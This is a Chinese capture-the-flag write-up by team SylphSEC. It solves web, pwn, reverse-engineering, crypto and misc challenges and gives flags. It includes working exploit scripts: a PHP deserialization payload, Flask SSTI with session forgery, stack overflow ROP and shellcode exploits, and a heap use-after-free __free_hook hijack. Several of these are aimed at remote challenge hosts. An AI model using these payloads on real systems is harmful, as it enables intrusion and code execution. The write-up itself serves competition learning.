*还差一道题AK 这次的御网杯题目难度中等 大部分都能解出来 就是官方服务器质量有待提高
团队名: SylphSEC 本次Write Up 经过AI优化才发布 应该更直观点! 如有不足,请多多担待!
一、WEB 篇
1、WEB-Snake_Game|贪吃蛇前端篡改
题目:贪吃蛇游戏结束后提交分数,直接拿 flag
考点:前端数据伪造、POST 请求劫持
解题步骤
- 访问靶机,打开贪吃蛇游戏。
- 游戏结束后,前端会自动 POST 分数到
index.php。 - 按 F12 打开开发者工具,切换到【Network】面板,找到提交 score 的 POST 请求。
- 直接修改请求参数,把
score的值改为300,发送请求即可触发 flag。
关键截图

flag
flag{990bbcc6f10cdec005051a07f73dbc3c}
2、WEB-PHP_Payment|PHP 反序列化漏洞
题目:数字资产商城,初始余额 20 金币,购买 flag 需 99999 金币
考点:PHP 反序列化、unserialize、__destruct魔术方法
解题步骤
- 访问靶机:
http://120.27.146.76:25269/,初始余额 20 金币,无法购买 flag。 - 查看页面源码,发现优惠券接口:
/api/apply_coupon.php。 - 接口代码逻辑:接收 Base64 编码的优惠券,解码后直接
unserialize,存在PHP 反序列化漏洞。
$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);
- 查看
models.php,找到PromoManager类:
class PromoManager {
public $promo_credit;
public $promo_code;
function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}
核心:对象销毁时,会把promo_credit的值加到用户余额中。
- 构造恶意序列化对象(设置
promo_credit=99999):
O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:3:"vip";}
- 对恶意字符串进行 Base64 编码:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czozOiJ2aXAiO30=
- 访问优惠券接口,提交编码后的字符串,余额暴涨至 100019 金币,购买 flag 商品即可。
关键截图

flag
flag{193b5a23f59bedebfebd5bde9816b8f8}
3、WEB-Enterprise_OA|目录穿越绕过
题目:OA 系统通过module参数加载文件,过滤../
考点:目录穿越绕过、PHP 伪协议、绝对路径读取
解题步骤
1.访问靶机:http://47.99.147.34:18941/,页面导航栏发现参数:
?module=public_notices.php
?module=about.php
?module=contact.php
2.判断为动态文件加载,尝试目录穿越,直接用?module=../../../../etc/passwd,返回报错:
include(etc/passwd): failed to open stream
3.分析源码:后端仅简单过滤../,未禁止绝对路径和 PHP 伪协议。
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
include($module);
4.直接使用绝对路径读取 flag 文件:
?module=/flag.txt
关键截图

flag
flag{23afce1d8adb0d09b9fbb8bd81324d96}
4、WEB-TaxSystem_SSTI|SSTI 模板注入 + Session 伪造
题目:Flask 税务系统,custom_footer参数可控,存在 SSTI 漏洞
考点:Flask SSTI、Jinja2 模板注入、Session 伪造、权限绕过
解题步骤
- 访问靶机,使用源码账号登录:
admin / 123456。 - 发现
/preview/<profile_id>页面,当state == AUDIT_PENDING时,custom_footer参数会被拼入模板,调用render_template_string(),存在SSTI 漏洞。 - 通过
/api/import接口修改用户档案,提交 JSON 数据:
{
"profile_id": 1,
"data": {
"state": "AUDIT_PENDING",
"custom_footer": "{{config}}"
}
}
4.访问/preview/1,{{config}}被 Jinja2 渲染,泄露 Flask 配置:
SECRET_KEY = secret_tax_key_2026_xoxo
DATABASE = /var/lib/sqlite/tax.db
5./admin/vault页面权限判断仅校验 Session:
if session.get('role') != 'tax_inspector': ...
6.利用泄露的SECRET_KEY,伪造管理员 Session:
from flask import Flask
app = Flask(__name__)
app.secret_key = 'secret_tax_key_2026_xoxo'
s = app.session_interface.get_signing_serializer(app)
print(s.dumps({
'role': 'tax_inspector',
'user_id': 1
}))
7.替换浏览器 Cookie 为伪造的 Session,访问/admin/vault获取 flag。
关键截图

flag
flag{7ca74b4a36594a4b3f1d84ba41425cbd}
二、PWN 篇
5、PWN-Authenticate|基础栈溢出
题目:程序存在gets栈溢出,无保护机制
考点:栈溢出、ROP 链构造、system调用、/bin/sh执行
解题步骤
- 获取题目文件
vuln,使用checksec查看保护:
No Canary
No PIE
栈可执行
结论:无任何保护,存在栈溢出漏洞。
- 分析漏洞点:
read(0, username, 0x40) // 读取用户名(64字节)
gets(password) // 无限制读取密码,造成栈溢出
- 计算偏移:
- 用户名缓冲区:64 字节
- 密码到返回地址偏移:136 字节
- 程序内存在
/bin/sh字符串和system@plt,构造 ROP 链:
ret(栈对齐)→ pop rdi; ret(传参)→ /bin/sh地址 → system@plt地址
完整 EXP
from pwn import *
import time
context(arch='amd64', os='linux', log_level='debug')
p = remote("47.99.147.34", 12911)
# 关键地址
ret = 0x40101a
pop_rdi = 0x401363
bin_sh = 0x402008
system_plt = 0x4010c0
# 构造payload:64字节用户名+136字节填充+ROP链
payload = b'U'*64 + b'B'*136 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_plt)
p.sendline(payload)
time.sleep(0.3)
p.sendline(b"cat flag") # 执行命令读取flag
res = p.recvall()
print(res.decode(errors='ignore'))
p.close()
关键截图

flag
flag{2af49daf839824cb86e934be4fde1f96}
6、PWN-NoteService|ret2text 后门利用
题目:程序存在栈溢出,内置后门函数
考点:栈溢出、ret2text、后门函数调用、栈对齐
解题步骤
- 获取题目文件
vuln和libc-2.31.so,checksec查看保护:
No Canary
NX enabled
No PIE
- 漏洞点:
read(0, buf, 0x100),栈缓冲区大小仅0x40,存在栈溢出。 - 程序二进制中存在后门函数
secret_note,直接跳转即可 getshell。 - 计算偏移:
0x40(缓冲区) + 8(rbp) = 72字节。 - 构造 payload:72 字节填充 + 栈对齐 ret + 后门函数地址。
完整 EXP
from pwn import *
context.binary = r"C:\Users\ChenFu\Desktop\YWB\PWN\NoteService\vuln"
context.log_level = "info"
# 靶机信息
HOST = "120.27.146.76"
PORT = 24028
elf = ELF(context.binary.path)
# 关键地址
RET = 0x40101A
SECRET_NOTE = elf.symbols["secret_note"]
OFFSET = 72
def main():
io = remote(HOST, PORT, timeout=5)
io.recvuntil(b"Leave your note:\n")
# 构造payload
payload = flat(
b"A" * OFFSET,
RET,
SECRET_NOTE,
)
io.sendline(payload)
sleep(0.5)
# 读取flag
io.sendline(b"cat flag; cat flag.txt; cat /flag; cat /flag.txt")
data = io.recvrepeat(5)
print(data.decode("latin-1", errors="replace"))
io.interactive()
if __name__ == "__main__":
main()
关键截图

flag
flag{47448f976eeb425e8081b03c3b2afb7d}
7、PWN-MessageBoard|栈可执行 + Shellcode 注入
题目:程序泄露栈地址,栈可执行,存在栈溢出
考点:栈可执行、Shellcode 注入、地址泄露、溢出覆盖返回地址
解题步骤
checksec查看保护:无 canary、无 PIE、栈可执行,程序会打印栈地址。- 漏洞点:
char buf[0x80]; read(0, buf, 0x100);,缓冲区 0x80 字节,读取 0x100 字节,溢出。 - 偏移计算:
0x80(缓冲区) + 8(rbp) = 136字节。 - 利用泄露的栈地址,将 Shellcode 放在栈开头,覆盖返回地址为泄露地址,执行 Shellcode。
完整 EXP
from pwn import *
# 靶机信息
HOST = "120.27.146.76"
PORT = 19743
OFFSET = 0x80 + 8 # 136字节
def build_payload(buf_addr: int) -> bytes:
# amd64 execve("/bin//sh", 0, 0) Shellcode(22字节,无空字节)
shellcode = bytes.fromhex(
"4831f65648bf2f62696e2f2f736857545f6a3b580f05"
)
# Shellcode + 填充 + 泄露的栈地址
return shellcode + b"\x90" * (OFFSET - len(shellcode)) + p64(buf_addr)
def main():
context.arch = "amd64"
context.log_level = "info"
io = remote(HOST, PORT)
# 接收泄露的栈地址
io.recvuntil(b"Buffer at: ")
buf_addr = int(io.recvline().strip(), 16)
log.success(f"leaked buffer address: {hex(buf_addr)}")
io.recvuntil(b"Message: ")
io.send(build_payload(buf_addr))
sleep(0.3)
# 读取flag
io.sendline(b"cat /flag")
print(io.recvrepeat(2).decode(errors="ignore"))
io.close()
if __name__ == "__main__":
main()
关键截图

flag
flag{5e76f1da370f72f3dbac204eade3f3b7}
8、PWN-UserManager|UAF + 堆泄露 +__free_hook 劫持
题目:用户管理系统,存在释放后重用(UAF)漏洞
考点:UAF(释放后重用)、堆地址泄露、libc 基址泄露、__free_hook 劫持、system 调用
解题步骤
- 漏洞分析:Delete 释放 pass 和 user 结构体,但未清空指针,Register 时可重叠结构体,造成 UAF。
- 利用
strcmp做字节 oracle,逐字节爆破泄露堆地址。 - 释放大内存块进入 unsorted bin,泄露 main_arena 指针,计算 libc 基址。
- 劫持
__free_hook为system,注册密码为/bin/sh的用户,Delete 触发system("/bin/sh")。
完整 EXP
from pwn import *
import time
# 靶机和文件路径
HOST, PORT = "120.27.146.76", 26966
BIN = r"C:\Users\ChenFu\Desktop\YWB\PWN\PWN-UserManager\login"
LIBC = r"C:\Users\ChenFu\Desktop\YWB\PWN\PWN-UserManager\libc-2.23.so"
elf = ELF(BIN)
libc = ELF(LIBC)
context.log_level = "info"
# 连接函数
def connect():
for _ in range(8):
try:
r = remote(HOST, PORT, timeout=10)
r.recvuntil(b"Your choice:", timeout=10)
return r
except Exception:
try: r.close()
except Exception: pass
time.sleep(10)
raise RuntimeError("connect failed")
# 注册、删除、编辑、登录函数
def reg(r, idx, size, data):
r.sendline(b"2")
r.recvuntil(b"Input the user id:")
r.sendline(str(idx).encode())
r.recvuntil(b"Input the password length:")
r.sendline(str(size).encode())
r.recvuntil(b"Input password:")
if data:
r.send(data)
r.recvuntil(b"Your choice:")
def delete(r, idx):
r.sendline(b"3")
r.recvuntil(b"Input the user id:")
r.sendline(str(idx).encode())
r.recvuntil(b"Your choice:")
def edit(r, idx, data):
r.sendline(b"4")
r.recvuntil(b"Input the user id:")
r.sendline(str(idx).encode())
r.recvuntil(b"Input new pass:")
r.send(data)
r.recvuntil(b"Your choice:")
def login_try(r, idx, data):
r.sendline(b"1")
r.recvuntil(b"Input the user id:")
r.sendline(str(idx).encode())
r.recvuntil(b"Input the passwords length:")
r.sendline(str(len(data)).encode())
r.recvuntil(b"Input the password:")
if data:
r.send(data)
out = r.recvuntil(b"Your choice:", timeout=5)
return out
# 地址操作函数
def set_user0_pass(r, addr):
edit(r, 1, p64(addr))
def set_user0_pass_low(r, low):
edit(r, 1, bytes([low]))
# 泄露指针
def leak_ptr_backwards(r, ptr_addr, high_hint=None):
known = b""
for off in range(5, -1, -1):
set_user0_pass(r, ptr_addr + off)
order = range(256)
if high_hint is not None and off == 5:
order = [high_hint] + [x for x in range(256) if x != high_hint]
for b in order:
guess = bytes([b]) + known
out = login_try(r, 0, guess)
if b"Wrong password!" not in out and b"Login success!" in out:
known = guess
log.info("leak @%#x byte[%d]=%#x -> %s", ptr_addr, off, b, known.hex())
break
else:
raise RuntimeError(f"failed leaking {ptr_addr:#x} at byte {off}, known={known.hex()}")
return u64(known.ljust(8, b"\x00"))
def leak_heap_s0(r, p0_low=0x10, high_hint=0x55):
known = b""
for off in range(5, -1, -1):
set_user0_pass_low(r, p0_low + off)
order = range(256)
if off == 5:
order = [high_hint, 0x56, 0x55, 0x57] + [x for x in range(256) if x not in (high_hint, 0x56, 0x55, 0x57)]
for b in order:
guess = bytes([b]) + known
out = login_try(r, 0, guess)
if b"Wrong password!" not in out and b"Login success!" in out:
known = guess
log.info("heap byte[%d]=%#x -> %s", off, b, known.hex())
break
else:
raise RuntimeError(f"failed heap leak at byte {off}, known={known.hex()}")
return u64(known.ljust(8, b"\x00"))
# 主逻辑
r = connect()
# 构造UAF重叠结构体
reg(r, 0, 0x18, b"A")
delete(r, 0)
reg(r, 1, 0x18, b"\x10")
# 泄露堆地址
S0 = leak_heap_s0(r, p0_low=0x10, high_hint=0x55)
P0 = S0 - 0x20
log.success("heap S0=%#x P0=%#x", S0, P0)
# 泄露libc基址
set_user0_pass(r, P0)
L2 = S0 + 0x20
reg(r, 2, 0x100, b"B")
delete(r, 2)
log.info("predicted unsorted chunk L2=%#x", L2)
arena_leak = leak_ptr_backwards(r, L2, high_hint=0x7f)
libc_base = arena_leak - 0x3c4b78
log.success("arena leak=%#x libc=%#x", arena_leak, libc_base)
# 劫持__free_hook为system
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]
log.info("overwrite free_hook=%#x with system=%#x", free_hook, system)
set_user0_pass(r, free_hook)
edit(r, 0, p64(system))
# free("/bin/sh")触发system
reg(r, 3, 0x18, b"/bin/sh\x00")
delete(r, 3)
r.sendline(b"cat flag; cat /flag; cat /flag*")
r.interactive()
关键截图

flag
flag{5d2e01c99c338d6ab40a5c1f4c913219}
三、RE 篇
9、RE-rerere|异或校验 + 查表还原
题目:输入 38 字节字符串,通过异或查表校验
考点:异或加密、查表校验、长度校验、反查表还原
解题步骤
- 扫描字符串,发现关键提示:
Input: Correct! Wrong!,主逻辑在Input:引用附近。 - 主函数长度校验:
cmp edx, 0x26,输入长度必须为0x26=38字节。 - 核心校验逻辑:
for (i = 0; i < len; i++) {
x = input[i] ^ key[i & 7];
if (table[x] != target[i]) {
return 0;
}
}
return 1;
- 关键数据(.rdata 段):
- target:0x140004020,长度 0x26
- key:0x140004048,长度 8
- table:0x140004060,长度 256
- 还原逻辑:
x = inverse_table[target[i]],input[i] = x ^ key[i & 7]。
完整 EXP
import os
def main():
exe = os.path.join(os.path.dirname(__file__), "rerere.exe")
rdata_va = 0x140004000
rdata_off = 0x2200
def get_off(va):
return rdata_off + va - rdata_va
with open(exe, "rb") as f:
buf = f.read()
# 读取target、key、table
part1 = buf[get_off(0x140004020):get_off(0x140004020) + 0x26]
k = buf[get_off(0x140004048):get_off(0x140004048) + 8]
tbl = buf[get_off(0x140004060):get_off(0x140004060) + 256]
# 反查表
rev_tbl = dict(zip(tbl, range(256)))
res = bytearray()
for idx, val in enumerate(part1):
res.append(rev_tbl[val] ^ k[idx & 7])
# 验证
verify = bytearray()
for idx in range(len(res)):
verify.append(tbl[res[idx] ^ k[idx & 7]])
assert verify == part1
print(res.decode())
if __name__ == "__main__":
main()
关键截图

flag
flag{c27ee55480192e908930cd3afa1c9adb}
10、RE - 字节码迷踪|PyC 反编译 + Base64 + 异或
题目:Python 字节码文件,Base64 + 单字节异或加密
考点:PyC 字节码反汇编、marshal 解析、Base64 解码、单字节异或解密
解题步骤
- 查看 PyC 文件头:
cb0d0d0a,为 Python 字节码文件。 - 使用
marshal.loads(data[16:])读取 code object,dis.dis()反汇编。 - 提取关键数据:
- encoded_flag:
"NT8yNCgjYz0hJCllY34lJzRhfiEnOzx+JWQrPX4xJ2FkJTg6KT1hNT8u" - xor_key:83
- 解密逻辑:Base64 解码后,逐字节异或 key=83,得到 flag。
完整 EXP
#!/usr/bin/env python3
import argparse
import base64
import marshal
import re
from pathlib import Path
DEFAULT_PYC = Path(r"C:\Users\ChenFu\Desktop\YWB\RE\字节码迷踪\py_obf_09.pyc")
def walk_code_consts(code):
yield code
for item in code.co_consts:
if hasattr(item, "co_consts"):
yield from walk_code_consts(item)
def solve(path: Path) -> str:
data = path.read_bytes()
code = marshal.loads(data[16:])
encoded = None
xor_key = None
# 遍历所有常量,提取Base64字符串和异或密钥
for co in walk_code_consts(code):
for const in co.co_consts:
if isinstance(const, str) and re.fullmatch(r"[A-Za-z0-9+/=]{20,}", const):
encoded = const
elif isinstance(const, int) and 0 <= const <= 255:
xor_key = const
if encoded is None or xor_key is None:
raise ValueError("encoded flag or xor key not found")
# Base64解码+异或解密
decoded = base64.b64decode(encoded)
return "".join(chr(b ^ xor_key) for b in decoded)
def main():
parser = argparse.ArgumentParser(description="Solve the Python bytecode challenge.")
parser.add_argument("pyc", nargs="?", type=Path, default=DEFAULT_PYC)
args = parser.parse_args()
print(solve(args.pyc))
if __name__ == "__main__":
main()
关键截图

flag
flag{p0nrwz60-vtg2-rtho-v7xn-bt27vkizn2fl}
11、RE-ChaCha20|流加密解密
题目:APK 文件,native 层 ChaCha20 加密校验
考点:APK 逆向、SO 文件分析、ChaCha20 流加密、密钥 / 随机数提取
解题步骤
- 解压 APK,提取 dex 和 native so 文件:
lib/x86/libmyapplication.so。 - 提取 SO 文件字符串,发现关键信息:
- 密钥 key:
149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f - 随机数 nonce:
44332211abcdef668899aa55 - 密文 ct:
d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb
- 反汇编发现 ChaCha20 常量
expand 32-byte k,counter 从 1 开始。 - ChaCha20 是流加密,加密解密同源,用 key、nonce、counter=1 解密密文。
完整 EXP
#!/usr/bin/env python3
import argparse
import re
import struct
import zipfile
from pathlib import Path
DEFAULT_APK = Path(r"C:\Users\ChenFu\Desktop\YWB\RE\ChaCha20\CrackMe_1_7.apk")
# ChaCha20算法实现
def rotl32(x: int, n: int) -> int:
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def quarter_round(s, a, b, c, d):
s[a] = (s[a] + s[b]) & 0xFFFFFFFF
s[d] = rotl32(s[d] ^ s[a], 16)
s[c] = (s[c] + s[d]) & 0xFFFFFFFF
s[b] = rotl32(s[b] ^ s[c], 12)
s[a] = (s[a] + s[b]) & 0xFFFFFFFF
s[d] = rotl32(s[d] ^ s[a], 8)
s[c] = (s[c] + s[d]) & 0xFFFFFFFF
s[b] = rotl32(s[b] ^ s[c], 7)
def chacha20_block(key: bytes, counter: int, nonce: bytes) -> bytes:
state = list(
struct.unpack("<4I", b"expand 32-byte k")
+ struct.unpack("<8I", key)
+ (counter,)
+ struct.unpack("<3I", nonce)
)
working = state[:]
for _ in range(10):
quarter_round(working, 0, 4, 8, 12)
quarter_round(working, 1, 5, 9, 13)
quarter_round(working, 2, 6, 10, 14)
quarter_round(working, 3, 7, 11, 15)
quarter_round(working, 0, 5, 10, 15)
quarter_round(working, 1, 6, 11, 12)
quarter_round(working, 2, 7, 8, 13)
quarter_round(working, 3, 4, 9, 14)
return struct.pack("<16I", *[(working[i] + state[i]) & 0xFFFFFFFF for i in range(16)])
def chacha20_xor(data: bytes, key: bytes, nonce: bytes, counter: int = 1) -> bytes:
out = bytearray()
for block_id, offset in enumerate(range(0, len(data), 64), start=counter):
stream = chacha20_block(key, block_id, nonce)
block = data[offset : offset + 64]
out.extend(b ^ k for b, k in zip(block, stream))
return bytes(out)
def solve(path: Path) -> str:
# 读取SO文件
with zipfile.ZipFile(path) as apk:
so = apk.read("lib/x86/libmyapplication.so")
# 提取key、nonce、密文
alphabet_off = so.index(b"0123456789abcdef")
key = so[alphabet_off - 44 : alphabet_off - 12]
nonce = so[alphabet_off - 12 : alphabet_off]
candidates = {
m.group(0)
for m in re.finditer(rb"\b[0-9a-f]{48}\b", so)
if m.group(0) != b"000102030405060708091011121314151617181920212223"
}
# 解密获取flag
for target_hex in sorted(candidates):
plaintext = chacha20_xor(bytes.fromhex(target_hex.decode()), key, nonce)
try:
flag = plaintext.decode()
except UnicodeDecodeError:
continue
if flag.startswith("flag{") and flag.endswith("}"):
return flag
raise ValueError("flag not found")
def main():
parser = argparse.ArgumentParser(description="Solve the ChaCha20 APK challenge.")
parser.add_argument("apk", nargs="?", type=Path, default=DEFAULT_APK)
args = parser.parse_args()
print(solve(args.apk))
if __name__ == "__main__":
main()
关键截图

flag
flag{HNCTF62RDYNTFMZ1TF}
12、RE-ECDSA nonce 重用|私钥泄露
题目:两组 ECDSA 签名,nonce 重用,泄露私钥
考点:ECDSA 签名算法、nonce 重用漏洞、私钥恢复、SECP256K1 曲线
解题步骤
- 两组签名
signature1_r == signature2_r,说明 nonce 重用。 - ECDSA 签名公式:
s = k^-1 * (z + r * d) mod n。 - 两组签名相减推导:
k = (z1 - z2) * inverse(s1 - s2, n) mod n。 - 恢复私钥:
d = (s1 * k - z1) * inverse(r, n) mod n。 - 私钥前 32 位为 flag。
完整 EXP
#!/usr/bin/env python3
import argparse
import hashlib
import json
from pathlib import Path
# SECP256K1曲线参数
SECP256K1_P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
SECP256K1_G = (
55066263022277343669578718895168534326250603453777594175500187360389116729240,
32670510020758816978083085130507043184471273380659243275938904335757337482424,
)
# 椭圆曲线点运算
def point_add(a, b):
if a is None:
return b
if b is None:
return a
x1, y1 = a
x2, y2 = b
if x1 == x2 and (y1 + y2) % SECP256K1_P == 0:
return None
if a == b:
slope = (3 * x1 * x1) * pow(2 * y1, -1, SECP256K1_P)
else:
slope = (y2 - y1) * pow(x2 - x1, -1, SECP256K1_P)
slope %= SECP256K1_P
x3 = (slope * slope - x1 - x2) % SECP256K1_P
y3 = (slope * (x1 - x3) - y1) % SECP256K1_P
return x3, y3
def scalar_mul(k, point=SECP256K1_G):
result = None
addend = point
while k:
if k & 1:
result = point_add(result, addend)
addend = point_add(addend, addend)
k >>= 1
return result
# SHA256哈希转整数
def sha256_int(hex_message):
message = bytes.fromhex(hex_message)
return int.from_bytes(hashlib.sha256(message).digest(), "big")
# 恢复私钥
def recover_private_key(data):
if data.get("curve") != "SECP256k1":
raise ValueError(f"unsupported curve: {data.get('curve')!r}")
r1 = int(data["signature1_r"])
r2 = int(data["signature2_r"])
if r1 != r2:
raise ValueError("signature r values differ; nonce reuse is not present")
s1 = int(data["signature1_s"])
s2 = int(data["signature2_s"])
z1 = sha256_int(data["message1"])
z2 = sha256_int(data["message2"])
# 计算nonce k
k = ((z1 - z2) * pow((s1 - s2) % SECP256K1_N, -1, SECP256K1_N)) % SECP256K1_N
# 计算私钥d
private_key = ((s1 * k - z1) * pow(r1, -1, SECP256K1_N)) % SECP256K1_N
return k, private_key
def main():
parser = argparse.ArgumentParser(description="Recover a secp256k1 ECDSA private key from nonce reuse.")
parser.add_argument(
"challenge",
nargs="?",
type=Path,
default=Path("challenge.json"),
help="path to challenge.json; defaults to ./challenge.json",
)
parser.add_argument(
"--flag-prefix",
default="flag{ecdsa_nonce_reuse_",
help="flag prefix before the first 32 hex chars of the private key",
)
args = parser.parse_args()
# 读取签名数据
data = json.loads(args.challenge.read_text(encoding="utf-8"))
k, private_key = recover_private_key(data)
private_hex = f"{private_key:064x}"
# 验证私钥
expected_public_key = (int(data["public_key_x"]), int(data["public_key_y"]))
public_key = scalar_mul(private_key)
public_key_ok = public_key == expected_public_key
print(f"k: {k}")
print(f"private_key_dec: {private_key}")
print(f"private_key_hex: {private_hex}")
print(f"public_key_matches: {public_key_ok}")
print(f"flag: {args.flag_prefix}{private_hex[:32]}}}")
if not public_key_ok:
raise SystemExit("recovered private key did not match the public key")
if __name__ == "__main__":
main()
关键截图

flag
flag{ecdsa_nonce_reuse_27da112f7d3f0567c8d95827b4eff200}
13、RE-DES 加密验证|PKCS7 填充剥离
题目:DES 加密验证题,校验逻辑为 Hex 转码 + PKCS7 填充
考点:DES 干扰项、Hex 解码、PKCS7 填充剥离
解题步骤
- 查看 APK 和 SO 文件,发现 DES 加密为干扰逻辑,实际校验仅做 Hex 转码和 PKCS7 填充。
- 提取关键 Hex 字符串:
666c61677b323032333332363037373838393039363338307d07070707070707
- Hex 解码:
s = "666c61677b323032333332363037373838393039363338307d07070707070707"
b = bytes.fromhex(s)
print(b)
# 输出:b'flag{2023326077889096380}\x07\x07\x07\x07\x07\x07\x07'
- 末尾 7 个
0x07为 PKCS7 填充,剥离填充后得到 flag。
关键截图

flag
flag{2023326077889096380}
四、Crypto 篇
14、Cry-BabyRSA|低指数 e=3 直接开立方
题目:RSA 加密,e=3,明文较小
考点:RSA 低指数攻击、无填充 RSA、整数开立方
解题步骤
- 题目代码:
m = bytes_to_long(flag)
e = 3
p = getPrime(512)
q = getPrime(512)
n = p * q
c = pow(m, e, n)
- 明文 m 远小于 1024-bit 的 n,满足
m^3 < n,因此c = m^3 mod n = m^3。 - 直接对密文 c 开整数三次方,得到 m,转字节即为 flag。
完整 EXP
from Crypto.Util.number import long_to_bytes
# 密文c
c = 2217344750798307351107884404883186392024717286582728792622392458827535569286065686664154238860425984670745343425604930152583551079584945215761153070725981937630533517990833293356809387438502145314432121871771562219710842241279945379559694541987723833309929898606437
# 整数开立方函数
def iroot3(x):
l, r = 0, 1
while r ** 3 <= x:
r *= 2
while l + 1 < r:
mid = (l + r) // 2
if mid ** 3 <= x:
l = mid
else:
r = mid
return l
# 计算明文m
m = iroot3(c)
print(m ** 3 == c)
print(long_to_bytes(m))
关键截图

flag
flag{2f1011202ab5318090e626ede3d99e46}
15、ScatterRSA|Hastad 广播攻击 + Coppersmith 小根
题目:3 组 RSA 密文,c_i = (a_i * m + b_i)^3 mod n_i,m 为 flag
考点:RSA 广播攻击、中国剩余定理(CRT)、Coppersmith 小根攻击、多项式求解
解题步骤
- 3 组密文均为
(a_i*m + b_i)^3 mod n_i,e=3,m 为相同明文。 - 对每组构造多项式:
f_i(x) = (a_i*x + b_i)^3 - c_i ≡ 0 mod n_i。 - 用 CRT 合并 3 个多项式,得到模
N = n1*n2*n3的三次多项式f(x) ≡ 0 mod N。 - flag 较短,m 为小根,用 Coppersmith 算法求解小根 m,转字节得到 flag。
完整 EXP
import math
from functools import reduce
import gmpy2
import sympy as sp
from Crypto.Util.number import long_to_bytes
e = 3
# 三组n、a、b、c
ns = [
8034769704256378777721283257104387036555065744170902965367188454784528114034392715241845916859207536470943064503572666023995153123040402216173558575026113510993192598128097365540092525779895326149380887433415754433392520369122298839059860084596807014568633500590940296307562337599388839479083104236964599,
1116111462609740875212511851692310364385795185933449362093680434891851897202181357438766546463816441865542420769037967381198971294009956724985329754079230065249181107364158653329783689743209744528796244218749429051762852502507052548943062242868527953591665882479221110651454464159843582310757929933068677,
1343584811114898976340677049173312807867034518055407000431372566606104487539498503419689802594859140003846963825224406866105196140280314307541736518650835325775845155217082216227778627278956999800513189568222027647359014659925041508110136254720786148604483456100887695721667170521276392427670381903013427,
]
aa = [
274802463738823771234037979915170284150,
195837409534596512418083442701692620720,
178166232639995825116766884287577950395,
]
bb = [
74759043850466604391368163495142916832049493297234951774182113528575349347388,
63673913017247801569924210007728704736367075750773785998761988960787615664075,
89627373243062664141152890813162893272510222942620192886426846665888819958264,
]
cs = [
21539693764409170408971043680309531516830203341799063531170222336619433234175134468682200548819225784120311611370371352858368580400363989272311285002038777385682966896104823784058495157322776874385021453144321218717715622197108422412799453795596194541987723833309929898606437,
78077435812215886996086090747673769578723679996784268112754169589809931676916817277508031614432051209164512108663760096750471608727533587552537713753760696525504588110496034868012991874371624149024517024671723655930148153725244252291481692220169372973255423070840865420153160864376643394488227163410,
1031042567037646915830706758954514762815884670940578598204760634507886986295138040283570762044664680684657877820865216399758295693616967441315657953431805277600015693340565478336491531705654783364915317056579534318056579534318056577687038331264556804291521427669545501808982073,
]
# CRT合并
def crt(residues, moduli):
total = 0
modulus = math.prod(moduli)
for r, n in zip(residues, moduli):
m = modulus // n
total = (total + r * m * int(gmpy2.invert(m, n))) % modulus
return total, modulus
# 多项式乘法
def poly_mul(a, b):
out = [0] * (len(a) + len(b) - 1)
for i, av in enumerate(a):
for j, bv in enumerate(b):
out[i + j] += av * bv
return out
# 多项式幂运算
def poly_pow(poly, power):
out = [1]
for _ in range(power):
out = poly_mul(out, poly)
return out
# 构造首一多项式
def build_monic_polynomial():
coeff_residues = [[], [], [], []]
for n, a, b, c in zip(ns, aa, bb, cs):
coeffs = [
(b**3 - c) % n,
(3 * a * b * b) % n,
(3 * a * a * b) % n,
(a**3) % n,
]
for i, coeff in enumerate(coeffs):
coeff_residues[i].append(coeff)
coeffs = []
N = math.prod(ns)
for residues in coeff_residues:
coeff, _ = crt(residues, ns)
coeffs.append(coeff)
inv_lead = int(gmpy2.invert(coeffs[3], N))
monic = [(c * inv_lead) % N for c in coeffs]
monic[3] = 1
return monic, N
# Coppersmith小根攻击
def coppersmith_univariate_monic(f, N, X, m=2):
d = len(f) - 1
polys = []
for i in range(m):
fi = poly_pow(f, i)
for j in range(d):
p = [0] * j + [coef * (N ** (m - i)) for coef in fi]
polys.append(p)
polys.append(poly_pow(f, m))
max_deg = max(len(p) for p in polys)
rows = []
for p in polys:
row = [0] * max_deg
for power, coeff in enumerate(p):
row[power] = int(coeff * (X ** power))
rows.append(row)
L = sp.Matrix(rows)
L = L.lll()
x = sp.Symbol("x")
for row in L.tolist():
coeffs = []
for power, value in enumerate(row):
coeffs.append(sp.Rational(value, X ** power))
poly = sp.Poly(sum(coeffs[i] * x**i for i in range(len(coeffs))), x)
roots = []
try:
roots.extend(poly.ground_roots().keys())
except Exception:
pass
if not roots:
try:
roots.extend(sp.roots(poly).keys())
except Exception:
pass
for root in roots:
if not root.is_Integer:
continue
r = int(root)
if r >= 0 and r < X and sum(f[i] * pow(r, i, N) for i in range(len(f))) % N == 0:
return r
return None
# 主逻辑
f, N = build_monic_polynomial()
for bits in range(256, 513, 16):
print("trying", bits, flush=True)
root = coppersmith_univariate_monic(f, N, 1 << bits, m=1)
if root is not None:
print(long_to_bytes(root))
break
else:
print("no root")
关键截图

flag
flag{19550acb-c5f0-4b7d-b832-75890d97d6be}
五、Misc 篇
16、Misc - 幻影|Base64 + 单字节异或爆破
题目:data.bin 文件,Base64 + 单字节异或加密
考点:文件隐写、Base64 解码、单字节异或爆破
解题步骤
- 用 010 Editor 查看 data.bin,发现提示:
FLAG IS HIDDEN IN BASE64 PLUS XOR,含假 flag。 - 提取后半段 Base64 字符串:
GBIfGQVPR0tLTh8dHFMdSxhOU0ocSRpTHEZNTFNJS0ZHThpHSRpIHBsD。 - Base64 解码后,单字节异或爆破,找到 key=0x7e,解密得到 flag。
关键截图

flag
